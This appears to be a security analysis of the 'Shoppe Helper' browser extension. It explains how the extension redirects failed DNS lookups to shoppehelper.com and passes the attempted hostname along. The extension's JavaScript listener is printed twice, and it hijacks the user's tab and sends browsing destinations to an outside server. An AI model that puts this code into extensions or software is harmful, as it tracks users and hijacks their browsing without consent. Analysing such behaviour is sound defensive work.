Shoppe Helper

The extension forcibly redirects navigation errors to an external domain it controls (shoppehelper.com), hijacking the browser's native error page behavior. This is a classic typosquatting/traffic-monetization technique: users who mistype a URL or visit a temporarily offline site are captured and redirected to an affiliate or ad-serving page, generating revenue for the extension author without user consent. The redirect covers all HTTP and HTTPS schemes across every website.

chrome.webNavigation.onErrorOccurred.addListener(e => {  if (e.error.includes("RESOLVE") && e.frameId == 0) {    chrome.tabs.update({      url: "https://shoppehelper.com/s/?nx=" + new URL(e.url)        .hostname    });  }}, {  url: [{    schemes: ["http", "https"]  }]});

When any DNS resolution fails (ERR_NAME_NOT_RESOLVED), the extension silently redirects the user's tab to shoppehelper.com with the attempted hostname appended as the `nx=` query parameter. This exfiltrates the user's browsing destination — including internal or sensitive hostnames that failed to resolve — to an external third-party server. Combined with broad host permissions (`http://*/*`, `https://*/*`) and `webNavigation`, this forms a passive data collection pipeline that captures every failed navigation attempt across all sites.

chrome.webNavigation.onErrorOccurred.addListener(e => {  if (e.error.includes("RESOLVE") && e.frameId == 0) {    chrome.tabs.update({      url: "https://shoppehelper.com/s/?nx=" + new URL(e.url)        .hostname    });  }}, {  url: [{    schemes: ["http", "https"]  }]});